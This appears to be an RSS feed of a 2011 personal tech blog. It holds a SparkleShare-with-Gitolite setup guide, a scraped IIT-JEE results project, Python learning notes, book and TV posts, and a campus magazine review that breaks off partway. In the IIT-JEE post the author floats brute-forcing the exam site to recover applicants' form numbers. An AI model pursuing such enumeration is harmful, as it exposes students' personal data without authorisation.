<p>Now we need a method to allow anyone to create git repositories on the server. This is accomplished via Gitolite’s very powerful Wildcard Repositories feature.</p>
<pre class="prettyprint lang-sh">
#Login back to server
ssh user2@host2
#Since we are using package install method, sparkle's password needs to be set
sudo passwd sparkle
su - sparkle
nano .gitolite.rc
#search for $GL_WILDREPOS and set it to 1
logout
#Now we push our admin repo to add the wildrepo settings
#you're still inside the gitolite-admin directory, right
git push
</pre>

<h3 id="setup-client">Setup Client</h3>
<p>Now, your server is all setup, but there is still stuff to be done :</p>
<pre class="prettyprint lang-sh">
#On user1@host1
mkdir -p ~/.ssh
sudo add-apt-repository ppa:warp10/sparkleshare
sudo apt-get update
sudo apt-get install sparkleshare libwebkit1.1-cil git-core
sparkleshare start &amp;
sparkleshare stop
</pre>
<p>When you run sparkleshare for the first time, it asks you for a few things, including your email-id. Fill in those details, but do not setup your repository yet. You need to first allow your sparkleshare account access to gitolite.</p>

<pre class="prettyprint lang-sh">
cd ~/.config/sparkleshare
ls #Should reveal files called sparkleshare.email.key and sparkleshare.email.key.pub
cp sparkleshare.email.key.pub /path/to/gitolite-admin/keydir/
cd /path/to/gitolite-admin/
git commit -am "Added sparkleshare client1"
git push
</pre>

<p>Now if all goes well, you’d have allowed acess to gitolite for this user. We now need to re-run the sparkeshare setup again. Find it in your Applications. Now when it asks you to fill a repository path, type in the following details :</p>

<pre class="prettyprint lang-yaml">
Server: sparkle@host2
Path: /share/fh73ah
</pre>

<p>Please take care of the slashes, otherwise sparkleshare fails to recognize it as a valid ssh address. Instead of fh73ah, you can type any alphanumeric string of 6 characters. You can change this in your gitolite-admin conf.</p>

<p>After your first sync is complete (in which it tries to clone your existing repo, and gitolite creates it for you), you can find a folder called Sparkleshare in your home directory. This contains all your personal sparkleshares, including your first one. Put in any content inside the fh73ah and it would be automatically synchronized.</p>

<h2 id="conclusion">Conclusion</h2>
<p>The best thing about sparkleshare is that you can use your own server under your own rules. I’ve synced 143GB via Sparkleshare so far, and it has been working excellent so far. It takes a complete history, takes care of moves (git) and allows you to keeo huge backups easily. Just drag and drop, and forget. If you want to sync already existing folders, just drag them , and alt+drop them inside the shared folder. This way a sym-link gets created, which refers to the original directory. The sparkleshare folder on my computer takes up hardly a few kbs, but syncs worth 150gb.</p>

<p>This method is only useful if you need to manage multiple accounts on the same host. Otherwise, you can refer to this <a href="http://www.webupd8.org/2011/03/set-up-sparkleshare-with-your-own.html">excellent post</a> on webupd8 for instructions to install it to a single user system (which does not involve the complication of gitolite). I’ve been looking for some gitolite management scripts (I’ve written a few as well) which would allow one to easily add their own ssh keys. This way anyone can easily setup accounts on the system. However, as of now, this is just a dream.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[New Website [ CaptNemo.in]]]></title>
            <link>https://captnemo.in/blog/2011/06/13/new-website-captnemo-in/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/06/13/new-website-captnemo-in/</guid>
            <pubDate>Mon, 13 Jun 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Just if someone's still following this blog around(don't, its already dead).

 

I've moved over to my new website (http://www.captnemo.in). Its running from github and will be a perfectly static website where the power of my awesome magical skills shall finally be revealed.

Just joking. Its hosted on the awesome servers of github and you might want to check it out..]]></description>
            <content:encoded><![CDATA[Just if someone's still following this blog around(don't, its already dead).

&nbsp;

I've moved over to my new website (<a title="CaptNemo.in" href="http://www.captnemo.in" target="_blank">http://www.captnemo.in</a>). Its running from github and will be a perfectly static website where the power of my awesome magical skills shall finally be revealed.

Just joking. Its hosted on the awesome servers of github and you might want to check it out..
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[IIT-JEE 2011 Results]]></title>
            <link>https://captnemo.in/blog/2011/06/01/iit-jee/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/06/01/iit-jee/</guid>
            <pubDate>Wed, 01 Jun 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[I worked out the entire IIT-JEE 2011 results and the end result is available here. I’ve intentionally removed the Application Form Number (partially) in the results, so that it may not be misused. I’m thinking of trying a full-scale birthday permutation attempt on the JEE site for the Application Form. What do you think? Will it be worth it?]]></description>
            <content:encoded><![CDATA[<p>I worked out the entire IIT-JEE 2011 results and the end result is available <a href="https://captnemo.in/projects/iitjee">here</a>. I’ve intentionally removed the Application Form Number (partially) in the results, so that it may not be misused. I’m thinking of trying a full-scale birthday permutation attempt on the JEE site for the Application Form. What do you think? Will it be worth it?</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Learning Python, PyGTK]]></title>
            <link>https://captnemo.in/blog/2011/05/16/learning-python/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/05/16/learning-python/</guid>
            <pubDate>Mon, 16 May 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[I had been meaning to learn either Python or Ruby for a long time but had been unable to decide. I had a basic understanding of both of these, but I never had the chance to build an entire application in either. And I’m not talking about using Django or Ruby on Rails (which are both brilliant), but building a desktop application using GTK.
The application I was first aiming for was a P2P sharing client which would be completely decentralized and offer several special features, such as :
NAT Transversal using UDP Hole Punching
HTTP based file sharing as well (so that people can install their clients, and still use IDM for downloading stuff)
Client discovery & routing behind firewalls along the lines of Skype (using supernodes)
However my dreams were shattered by the first point itself, being the difficulty of NAT Transversals. Further ahead was the question of networking as well, which could have potentially driven me nuts. I worked a bit on it, using STUN, twisted, but gave up on it soon as being unfeasable as a learning project.
The next idea came to me when I got tired of downloading stuff using axel from the command line and started itching for something similar to Internet Download Manger for Ubuntu. The closest thing to a download manager on Ubuntu is FatRat and is something I really don’t like. It is based on Qt and prouds on working as a front-end for several file-sharing websites as well. What I needed was in fact a fast download manager, which keeps tracks of what I download, and does not require keeping a terminal open all the time.
I found GwGet, which occassionaly looks much better in the source version than in the one from the Ubuntu Repositories. I really liked this one, except for the fact that it was made using C++, and used single threaded downloads (like wget). As a result it was quite slow, and not upto my needs.
That was when I thought of the idea of creating a download manger using [GTK][gtk] + Python/Ruby. I looked around for axel ports in Python/Ruby and found PyAxel, which beat axel in some of my benchmarks (after this patch). For the past two days, I have been working on PyGTK, Glade, Anjuta and several other IDEs, none of them to my liking. I really prefer Vim :)
So far, the work on PGet has been minimal. I’ve worked out threading, and little parts of GUI which were stripped from GwGet. As of now, it is still under works, but I am hoping for a release real soon. After all, it is not for nothing that they call Python a dynamic langugae
For more details, please go the PGet project page on Github. I will be posting further updates over there.
In case someone is following this blog, you can view the source for this website at github and maybe even fork it!]]></description>
            <content:encoded><![CDATA[<p>I had been meaning to learn either Python or Ruby for a long time but had been unable to decide. I had a basic understanding of both of these, but I never had the chance to build an entire application in either. And I’m not talking about using <a href="http://djangoproject.com" title="Django is a web framework for Python">Django</a> or <a href="http://rubyonrails.org" title="Ruby on Rails is a web framework for Ruby">Ruby on Rails</a> (which are both brilliant), but building a desktop application using GTK.
The application I was first aiming for was a P2P sharing client which would be completely decentralized and offer several special features, such as :</p>

<ul>
  <li>NAT Transversal using <a href="http://en.wikipedia.org/wiki/UDP_hole_punching">UDP Hole Punching</a></li>
  <li>HTTP based file sharing as well (so that people can install their clients, and <strong>still use</strong> IDM for downloading stuff)</li>
  <li>Client discovery &amp; routing behind firewalls along the lines of Skype (<a href="http://www.h-online.com/security/features/How-Skype-Co-get-round-firewalls-747197.html">using supernodes</a>)</li>
</ul>

<p>However my dreams were shattered by the first point itself, being the difficulty of NAT Transversals. Further ahead was the question of networking as well, which could have potentially driven me nuts. I worked a bit on it, using <a href="http://en.wikipedia.org/wiki/STUN" title="Stun is a NAT transversal server">STUN</a>, <a href="http://twistedmatrix.com" title="Twisted is a networking framework for Python">twisted</a>, but gave up on it soon as being unfeasable as a learning project.</p>

<p>The next idea came to me when I got tired of downloading stuff using <a href="http://axel.alioth.debian.org/" title="Axel is a multithreaded download binary">axel</a> from the command line and started itching for something similar to <a href="http://internetdownloadmanager.com">Internet Download Manger</a> for Ubuntu. The closest thing to a download manager on Ubuntu is <a href="http://fatrat.dolezel.info/">FatRat</a> and is something I really don’t like. It is based on Qt and prouds on working as a front-end for several file-sharing websites as well. What I needed was in fact a fast download manager, which keeps tracks of what I download, and does not require keeping a terminal open all the time.</p>

<p>I found <a href="http://projects.gnome.org/gwget/">GwGet</a>, which occassionaly looks much better in the source version than in the one from the Ubuntu Repositories. I really liked this one, except for the fact that it was made using C++, and used single threaded downloads (like wget). As a result it was quite slow, and not upto my needs.</p>

<p>That was when I thought of the idea of creating a download manger using [GTK][gtk] + Python/Ruby. I looked around for axel ports in Python/Ruby and found <a href="http://code.google.com/p/pyaxel/" title="Axel port to python">PyAxel</a>, which beat axel in some of my benchmarks (after <a href="http://code.google.com/p/pyaxel/issues/detail?id=4" title="My patch for optimizing PyAxel's chunk size">this patch</a>). For the past two days, I have been working on PyGTK, Glade, Anjuta and several other IDEs, none of them to my liking. I really prefer Vim :)</p>

<p>So far, the work on <a href="https://github.com/captn3m0/pget" title="PGet home page on Github">PGet</a> has been minimal. I’ve worked out threading, and little parts of GUI which were stripped from GwGet. As of now, it is still under works, but I am hoping for a release real soon. After all, it is not for nothing that they call Python a dynamic langugae</p>

<p>For more details, please go the <a href="https://github.com/captn3m0/pget" title="PGet home page on Github">PGet</a> project page on Github. I will be posting further updates over there.
In case someone is following this blog, you can view the source for this website at <a href="https://github.com/captn3m0/captn3m0.github.com" title="This website on GitHub">github</a> and maybe even fork it!</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Puzzles, Life & Other Things]]></title>
            <link>https://captnemo.in/blog/2011/04/30/puzzles/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/04/30/puzzles/</guid>
            <pubDate>Sat, 30 Apr 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Since I’ve already decided to make this my newer blog, why not just continue in the same spirit and write a little of the events of my highly boring, lazy life. For one, I was part of the SDSLabs 1st yearly trip to Robber’s Caves which was highly enthralling. We enjoyed a lot, and as a bonus I learned to play Mafia. Somehow the concept of not-knowing and yet trying to deduce out a solution in Mafia seems quite interesting for a Party game to me. Among other things, my sister got me a new Rubik Cube (which should be my 6th or 7th I guess), and I’ve been practising quite a lot (to the dismay of my friends and teachers), My timings have not been upto the mark as they were last year, but I’ve been improving and I average around 80 seconds per solve. I’ve been focusing on learning the entire Fridrich, and try to learn 2-3 moves per day.
I also spent some time reading a brilliant new fantasy series called “The Kingkiller Chronicles” by Patrick Rothfuss. It is a brilliant new debut series in fantasy fiction, and already has 2 books out from its planned trilogy : The name of the Wind, and The Wise Man’s Fear. The series is highly praised, and you were to believe me, one of the best pieces of Fantasy ever written. But it is not the fantasy about this book that makes it so great. Its the general themes of love, tragedy, enemity, and knowledge that make it brilliant. Kvothe, the protagonist of the series is a charming character who is telling the story of his life to the Chronicler. Enough on the book, just go ahead and read it!
Oh, and I’ve got a RSS feed for blog using Jekyll already. Its available [here] (/atom.xml)]]></description>
            <content:encoded><![CDATA[<p>Since I’ve already decided to make this my newer blog, why not just continue in the same spirit and write a little of the events of my highly boring, lazy life. For one, I was part of the SDSLabs 1st yearly trip to Robber’s Caves which was highly enthralling. We enjoyed a lot, and as a bonus I learned to play Mafia. Somehow the concept of not-knowing and yet trying to deduce out a solution in Mafia seems quite interesting for a Party game to me. Among other things, my sister got me a new Rubik Cube (which should be my 6th or 7th I guess), and I’ve been practising quite a lot (to the dismay of my friends and teachers), My timings have not been upto the mark as they were last year, but I’ve been improving and I average around 80 seconds per solve. I’ve been focusing on learning the entire Fridrich, and try to learn 2-3 moves per day.</p>

<p>I also spent some time reading a brilliant new fantasy series called “The Kingkiller Chronicles” by Patrick Rothfuss. It is a brilliant new debut series in fantasy fiction, and already has 2 books out from its planned trilogy : The name of the Wind, and The Wise Man’s Fear. The series is highly praised, and you were to believe me, one of the best pieces of Fantasy ever written. But it is not the fantasy about this book that makes it so great. Its the general themes of love, tragedy, enemity, and knowledge that make it brilliant. Kvothe, the protagonist of the series is a charming character who is telling the story of his life to the Chronicler. Enough on the book, just go ahead and read it!</p>

<p>Oh, and I’ve got a RSS feed for blog using Jekyll already. Its available [here] (/atom.xml)</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Game Of Thrones]]></title>
            <link>https://captnemo.in/blog/2011/04/19/game-of-thrones/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/04/19/game-of-thrones/</guid>
            <pubDate>Tue, 19 Apr 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[For the uninitiated, Game Of Thrones is a high budget fantasy TV series currently being screened on HBO. It is based on George R.R Martin’s epic fantasy, A Song Of Fire & Ice, book one of the Game Of Thrones series. 
I had started reading the book a few weeks ago (not knowing then about the TV series), but never quite got the time. However after the highly promoted Trailer, and the absolutely brilliant episode 1, I’ve picked up the book once again.
I’ve decided to keep myself aloof from all the spoilers, and read the book along with the series. This means that I will be finishing the book in a very long time, but also that I will be able to get a much better insight into what is going on the series. For eg there are very many characters in the TV series, which are not yet introduced, and it was interesting to see them come upfront in the book.
Is anyone else reading the book for the first time along with the TV series ?
Below is the ground from the book that each episode contains. I will continue to update this as the series goes ahead :
Episode :
Chapters 1-8
Chapters 9-17
Chapters 18-24*
Chapters 25-29
Chapters 30-35
* Only half of the chapter is present in the respective episode.
Let me know what you think of Game Of Thrones in the comments…]]></description>
            <content:encoded><![CDATA[<p>For the uninitiated, Game Of Thrones is a high budget fantasy TV series currently being screened on HBO. It is based on George R.R Martin’s epic fantasy, A Song Of Fire &amp; Ice, book one of the Game Of Thrones series. 
I had started reading the book a few weeks ago (not knowing then about the TV series), but never quite got the time. However after the highly promoted Trailer, and the absolutely brilliant episode 1, I’ve picked up the book once again.</p>

<p>I’ve decided to keep myself aloof from all the spoilers, and read the book along with the series. This means that I will be finishing the book in a very long time, but also that I will be able to get a much better insight into what is going on the series. For eg there are very many characters in the TV series, which are not yet introduced, and it was interesting to see them come upfront in the book.</p>

<p>Is anyone else reading the book for the first time along with the TV series ?</p>

<p>Below is the ground from the book that each episode contains. I will continue to update this as the series goes ahead :</p>

<p>Episode :</p>

<ol>
  <li>Chapters 1-8</li>
  <li>Chapters 9-17</li>
  <li>Chapters 18-24*</li>
  <li>Chapters 25-29</li>
  <li>Chapters 30-35</li>
</ol>

<p>* Only half of the chapter is present in the respective episode.</p>

<p>Let me know what you think of Game Of Thrones in the comments…</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Introduction]]></title>
            <link>https://captnemo.in/blog/2011/04/10/introduction/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/04/10/introduction/</guid>
            <pubDate>Sun, 10 Apr 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Welcome to my github pages. This will be my personal code blog site, or something of that sort. I will soon be transitioning this site to Jekyll for easier publishing and maybe move away from wordpress. (Done)
I am a proficient coder in PHP, working on various internal projects at SDSLabs.
Here is my current setup :
Dell Inspiron 1545
T-6400 Intel Core 2 Duo
Ubuntu Oneric Ocelot 11.10 (Default Primary OS)
Elementary OS (Under Testing) Will be moving to Gnome Shell soon
Samurai WTF, Backtrack 5 for pen-tests
Moved from Windows after remaining a staunch supporter for 5 years]]></description>
            <content:encoded><![CDATA[<p>Welcome to my github pages. This will be my personal code blog site, or something of that sort. I will soon be transitioning this site to Jekyll for easier publishing and maybe move away from wordpress. (Done)</p>

<p>I am a proficient coder in PHP, working on various internal projects at SDSLabs.</p>

<p>Here is my current setup :</p>

<ul>
  <li>Dell Inspiron 1545</li>
  <li>T-6400 Intel Core 2 Duo</li>
  <li>Ubuntu Oneric Ocelot 11.10 (Default Primary OS)</li>
  <li><del><a href="http://elementaryos.org">Elementary OS</a> (Under Testing)</del> Will be moving to Gnome Shell soon</li>
  <li><del><a href="http://samurai.inguardians.org">Samurai WTF</a>, <a href="http://backtrack-linux.org">Backtrack 5</a></del> for pen-tests</li>
  <li>Moved from Windows after remaining a staunch supporter for 5 years</li>
</ul>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[How to run apt-add-repository behind firewalls (#iitr)]]></title>
            <link>https://captnemo.in/blog/2011/04/01/run-apt-add-repo-behind-firewall/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/04/01/run-apt-add-repo-behind-firewall/</guid>
            <pubDate>Fri, 01 Apr 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Copied from OMGUbuntu
Press Alt-F2 and type “gksu gedit /usr/lib/python2.6/dist-packages/softwareproperties/ppa.py”
Find line 88, change “keyserver.ubuntu.com” to “hkp://keyserver.ubuntu.com:80”
Save and close
Note that this is the default setting in Ubuntu Natty Narwhal (11.04), and was only applicable for Maverick or older versions.]]></description>
            <content:encoded><![CDATA[<p>Copied from <a href="http://www.omgubuntu.co.uk/2011/01/how-to-add-repositories-to-ubuntu-from-behind-a-firewall/">OMGUbuntu</a></p>

<ol>
  <li>Press Alt-F2 and type “gksu gedit /usr/lib/python2.6/dist-packages/softwareproperties/ppa.py”</li>
  <li>Find line 88, change “keyserver.ubuntu.com” to “hkp://keyserver.ubuntu.com:80”</li>
  <li>Save and close</li>
</ol>

<p>Note that this is the default setting in Ubuntu Natty Narwhal (11.04), and was only applicable for Maverick or older versions.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Wona Oct-Dec '10 Review]]></title>
            <link>https://captnemo.in/blog/2011/03/17/wona-review/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/03/17/wona-review/</guid>
            <pubDate>Thu, 17 Mar 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Download the issue on the WONA
archive website.

Note about Archival: This post used to live on the (now-dead) piratecoders.co.cc website. I’ve moved it here for archival’s sake.
The latest issue of WONA turned up 3 months late at my doorstep. Other
than the fact that it was missing an apology letter for this lateness,
it was a good step in the forward direction by WONA in general. Once you
take aside the pleasantries, and the sarcasm, I felt that WONA was, on a
general scale, surpassing what it had been doing till now, and moving
towards a better (and hopefully a quicker) issue. However, this one was
definately not the one to be labelled perfect. So here comes the review
:
Cover : Let’s start with the cover. Not much to write about it,
other than the fact that it took me quite some time to figure out what
was Maradone doing on it. Nice work in putting up the WONA logo (which
I’m genuinely fond of). Nice choice of color scheme, and over-all good
work.
Editorial : The magazine starts at a good note with the editorial
promising us what’s inside in a nutshell. This was the best write-up of
issue for me, and did its job well. I was enticed into reading further,
and got a gist of what was about to come.
Almost Famous : Almost Famous has quite a history of its own, and is
one column that every person who lays his hands on WONA definately
reads. This time around, you held out Jan Flaming for me. As for the
interview itself, it was clearly written, had some nice questions, some
imaginary answers, and overall does quite well for the reader. On a
second take, this was probably the reason it ends up on the first page
this time.
Murphy’s Strip : Alas if Murphy had been here, he might have taken a
shot or two at you. How about : “Any comic that can go wrong will go
wrong.” Or maybe “If Vela could draw stupid sketches, he would.” Still,
nice concept, bad execution. Could have been better, definately,
especially with regards to sketching. Still 42 times better than the
other strip.
NewsNotes : were 4 pages of news, which arrived 3 months too late.
Nobody remembers any of these incidences happening, let alone being part
of them. PAN-IIT was way bigger than your coverage, and deserved a bit
more. Rest all the newsnotes were in a bit, exactly what they were
supposed to be : News, without any sarcasm or humour. However I’m
heavily against the use of one and half pages to glorify pages. I know
how costly it is to push each page into the magazine, but please don’t
fill it with something that no one bothers to read. Medal winners,
please don’t mind but the two tables were a waste of space, if not
something else. Or else the nine people from WONA’s news section could
not find enough news. Anyone could have gotten these lists from the
Sports Council a day after the event ceremonies. Give me something
better.
Face-Off : was usual stuff. Nice choice of topic, nicely edited,
with some actual points being thrown around, this turned out fine.
Big Story (Devil Wears Prada) : In spite of my initial skeptism
about the story (I knew about it before the issue came out), I really
liked it. This article goes ahead and proves that what you write on is
unimportant (or at least less so) as long as you write it well. In a
world of geeks, bringing out a cover story on fashion is really a bold
move, and I must applaud you for having the guts to do so. The article
was well written, and a joy to read. However I’d come to hear, from
several sources, that people quoted in the article did not in fact give
one to WONA. Please take care not to make up stuff next time. You’re a
news mag, stick to the status quo, please.
Verbatim : WONA gets its hands on the most respected professor on on
our campus, and does quite a good job of it as well. Nice questions,
interesting answers make up a good read. In fact, the only negative
point of the article was its placement.
WonaLeaks : This was the article that forced me to write this
review. If it was an attempt at humour, it failed badly. As an attempt
to mix news and wonaspeek, it fails even badly. Mixing kangaroos, indian
cricket team, koala bears and a state prosecutor is definately not the
recipe for sucess. It might work in movies (Spaceman + Potato Head +
Zombie Dolls + Cowboy + Alien with 3 eyes = Oscar), but definately not
on paper. Nobody remembers the event the article talks about. Its
relation to wikileaks is not enough to demand a WonaLeaks icon. I shall
forever remember this as the worst of writing, and imagination that ever
came out of wona.
Tech-ila Shots : The in house tech article arrives a few months
late. (Google just released Cr-48). I would have personally liked to see
something else here (iPhone vs Android, iPhone 5, Ubuntu vs Windows
etc). But as it was, the article was well thought of, and did exactly
what it planned to. It could have done with a bit of pruning though, and
the author might have liked to tell us a bit more about the OS itself
(it only mentions the fact that its web based, comes as pre-installed,
will not run intensive applications).
Random Ed : I’m not sure if it really is an editorial, but I’ll
stick with the title. Nicely written in short. However the purpose and
intent of such an article is lost in the true random nature of the
article itself. The article fails to reach a resolution, and delievers
nothing at all. Indeed most of the thoughts mentioned in the article,
must have sprung to every person’s brain at some time or another. Then
what’s the need of this article? Is it philosophy that Wona’s trying to
dive into? Or perhaps its just a conspiracy to get all students in the
campus to think more randomly, leading to a decrease in entropy of the
thoughts of the profs, and as a consequence, simpler question papers.
(For the skeptics, something similar has already happened, and our
thought patterns are involed in the entropy of a system.)
Ethics : was actually the cover story (which one comes to know only
after re-reading the cover). The author is unclear of the intent of the
article, and it steers in various directions. I’m still unsure as to
where it ends, and whether Arasu’s mumblings (Another Brick in the Wall)
are part of it. One might raise question as to the relevance of the last
section itself, but this article had its moments as well. In short, nice
concept, nice writing, but could have done with a bit of restructuring.
Canine Strip : Another page wasted. The time spent by the sketcher
could so easily have been devoted on bettering the other one. Needless
to say, wona seems to be lacking in people who actually write, and the
it results in a page filled with a stupid comic about dogs taking over
the campus. Seriously, get some creativity. Even zombies would have done
better.
WORC : Good decision in continuing this column. I was afraid it
might get scrapped along with Agony Aunt(which was a very good
decision). I can just hope that you actually asked some persons to
create those pie charts. Dr. Sinhval seems to have taken his time in
answering the questions, and his reply is full of facts, explanations,
and ideas. Nice work by the ed team here, definitely.
Other than the articles there are a few more areas of interest I would
like to point out.
Design: Seriously, have you people ever heard of vector graphics.
Your designers really need a course on making scalable graphics. The
need for Darth Vader to illustrate an article is fine, as long as you
have a big enough image to fit. Trying to scale a 400×300 jpg into a
page will not do. Even the cafe de norma ad was pixellated. The girl
wearing Prada proves that it was possible to pring clearer graphics .
However on the very next page, there’s an overdose of black. Similarly
pixellated were most of the other pics on the mag. The 3 monkeys
illustrating the second last page could have been something better. The
essence of the German flag was lost in black & white(Almost Famous) .
And just so you know that everyone noticed , dark colored pics in the
background make text unreadable (Chrome OS).
Ads : I don’t know the reasons behind it, but from a reader’s point
of view, an issue with only 3 ads is really awesome. Especially once you
compare it with Kshitiz’s latest issue. I know it must have been really
hard to cover the costs, and manage the finances and all that. But folks
over here are smiling for your hard work. You finally published it
(albeit 3 months late), and that’s what matters.
Placement : could have been better. Some articles should have gotton
more coverage than given. Perhaps you should think of making Tech-ila
bigger. I would’nt have minded the least if Verbatim had gotten a bit
larger. The ethics article was divided into portions, I couldn’t
understand, and might have done with fewer sections.
Cover : A little side note as to why the article change from the
cover to the article itself. Isn’t the cover supposed to hold titles as
well. On second thoughts, I might be wrong to suggest your current
layout, but can you just put up page numbers! They would surely help.
And finally a note from my side : Wona is an excellent magazine. Despite
it having a status quo of its own on its supposed unreadability without
an excellent understanding of wona’s inner sanctum, I believe that the
magazine is an essential part of life at iitr. It is one of the few
sections in our campus, whose work is actually a part of our daily life.
Thanks to the entire team for working so hard on this issue.
This review is my way of letting you know that there are people who care
about what you write. There are people who wait for the issue, and who
are determined to do so till they pass out. Consider it a friendly nudge
and a little feedback from my side. Its up to you decide what your mag
is after all. With hopes that the next issue is even better than this
one
Update: Friends over at wona inform me that the delay in the mag
was due to an issue on the administration’s side rather than wona’s
side. If that was the case, the blame’s partially on your staff advisors
(spelled incorrectly in the mag’s first page) : Dr. M.J. Nigam, and Dr.
B.R.Gurjar. I’m still not sympathatic to the excuse given entirely, and
believe that it might have come out a bit more sooner with some more
effort on wona’s side.]]></description>
            <content:encoded><![CDATA[<p>Download the issue on the WONA
<a href="https://captnemo.in/wona/">archive website</a>.</p>

<p><a href="https://captnemo.in/wona/"><img src="https://captnemo.in/wona/2010-12.jpg" alt="Wona December
Issue" title="Wona December Issue" /></a></p>

<p><strong>Note about Archival</strong>: <em>This post used to live on the (now-dead) piratecoders.co.cc website. I’ve moved it here for archival’s sake.</em></p>

<p>The latest issue of WONA turned up 3 months late at my doorstep. Other
than the fact that it was missing an apology letter for this lateness,
it was a good step in the forward direction by WONA in general. Once you
take aside the pleasantries, and the sarcasm, I felt that WONA was, on a
general scale, surpassing what it had been doing till now, and moving
towards a better (and hopefully a quicker) issue. However, this one was
definately not the one to be labelled perfect. So here comes the review
:</p>

<p><strong>Cover :</strong> Let’s start with the cover. Not much to write about it,
other than the fact that it took me quite some time to figure out what
was Maradone doing on it. Nice work in putting up the WONA logo (which
I’m genuinely fond of). Nice choice of color scheme, and over-all good
work.</p>

<p><strong>Editorial :</strong> The magazine starts at a good note with the editorial
promising us what’s inside in a nutshell. This was the best write-up of
issue for me, and did its job well. I was enticed into reading further,
and got a gist of what was about to come.</p>

<p><strong>Almost Famous :</strong> Almost Famous has quite a history of its own, and is
one column that every person who lays his hands on WONA definately
reads. This time around, you held out Jan Flaming for me. As for the
interview itself, it was clearly written, had some nice questions, some
imaginary answers, and overall does quite well for the reader. On a
second take, this was probably the reason it ends up on the first page
this time.</p>

<p><strong>Murphy’s Strip :</strong> Alas if Murphy had been here, he might have taken a
shot or two at you. How about : “Any comic that can go wrong <em>will</em> go
wrong.” Or maybe “If Vela could draw stupid sketches, he would.” Still,
nice concept, bad execution. Could have been better, definately,
especially with regards to sketching. Still 42 times better than the
other strip.</p>

<p><strong>NewsNotes :</strong> were 4 pages of news, which arrived 3 months too late.
Nobody remembers any of these incidences happening, let alone being part
of them. PAN-IIT was way bigger than your coverage, and deserved a bit
more. Rest all the newsnotes were in a bit, exactly what they were
supposed to be : News, without any sarcasm or humour. However I’m
heavily against the use of one and half pages to glorify pages. I know
how costly it is to push each page into the magazine, but please don’t
fill it with something that no one bothers to read. Medal winners,
please don’t mind but the two tables were a waste of space, if not
something else. Or else the nine people from WONA’s news section could
not find enough news. Anyone could have gotten these lists from the
Sports Council a day after the event ceremonies. Give me something
better.</p>

<p><strong>Face-Off :</strong> was usual stuff. Nice choice of topic, nicely edited,
with some actual points being thrown around, this turned out fine.</p>

<p><strong>Big Story (Devil Wears Prada) :</strong> In spite of my initial skeptism
about the story (I knew about it before the issue came out), I really
liked it. This article goes ahead and proves that what you write on is
unimportant (or at least less so) as long as you write it well. In a
world of geeks, bringing out a cover story on fashion is really a bold
move, and I must applaud you for having the guts to do so. The article
was well written, and a joy to read. However I’d come to hear, from
several sources, that people quoted in the article did not in fact give
one to WONA. Please take care not to make up stuff next time. You’re a
news mag, stick to the status quo, please.</p>

<p><strong>Verbatim :</strong> WONA gets its hands on the most respected professor on on
our campus, and does quite a good job of it as well. Nice questions,
interesting answers make up a good read. In fact, the only negative
point of the article was its placement.</p>

<p><strong>WonaLeaks :</strong> This was the article that forced me to write this
review. If it was an attempt at humour, it failed badly. As an attempt
to mix news and wonaspeek, it fails even badly. Mixing kangaroos, indian
cricket team, koala bears and a state prosecutor is definately not the
recipe for sucess. It might work in movies (Spaceman + Potato Head +
Zombie Dolls + Cowboy + Alien with 3 eyes = Oscar), but definately not
on paper. Nobody remembers the event the article talks about. Its
relation to wikileaks is not enough to demand a WonaLeaks icon. I shall
forever remember this as the worst of writing, and imagination that ever
came out of wona.</p>

<p><strong>Tech-ila Shots :</strong> The in house tech article arrives a few months
late. (Google just released Cr-48). I would have personally liked to see
something else here (iPhone vs Android, iPhone 5, Ubuntu vs Windows
etc). But as it was, the article was well thought of, and did exactly
what it planned to. It could have done with a bit of pruning though, and
the author might have liked to tell us a bit more about the OS itself
(it only mentions the fact that its web based, comes as pre-installed,
will not run intensive applications).</p>

<p><strong>Random Ed :</strong> I’m not sure if it really is an editorial, but I’ll
stick with the title. Nicely written in short. However the purpose and
intent of such an article is lost in the true random nature of the
article itself. The article fails to reach a resolution, and delievers
nothing at all. Indeed most of the thoughts mentioned in the article,
must have sprung to every person’s brain at some time or another. Then
what’s the need of this article? Is it philosophy that Wona’s trying to
dive into? Or perhaps its just a conspiracy to get all students in the
campus to think more randomly, leading to a decrease in entropy of the
thoughts of the profs, and as a consequence, simpler question papers.
(For the skeptics, something similar has already happened, and our
thought patterns <em>are</em> involed in the entropy of a system.)</p>

<p><strong>Ethics :</strong> was actually the cover story (which one comes to know only
after re-reading the cover). The author is unclear of the intent of the
article, and it steers in various directions. I’m still unsure as to
where it ends, and whether Arasu’s mumblings (Another Brick in the Wall)
are part of it. One might raise question as to the relevance of the last
section itself, but this article had its moments as well. In short, nice
concept, nice writing, but could have done with a bit of restructuring.</p>

<p><strong>Canine Strip :</strong> Another page wasted. The time spent by the sketcher
could so easily have been devoted on bettering the other one. Needless
to say, wona seems to be lacking in people who actually write, and the
it results in a page filled with a stupid comic about dogs taking over
the campus. Seriously, get some creativity. Even zombies would have done
better.</p>

<p><strong>WORC :</strong> Good decision in continuing this column. I was afraid it
might get scrapped along with Agony Aunt(which was a very good
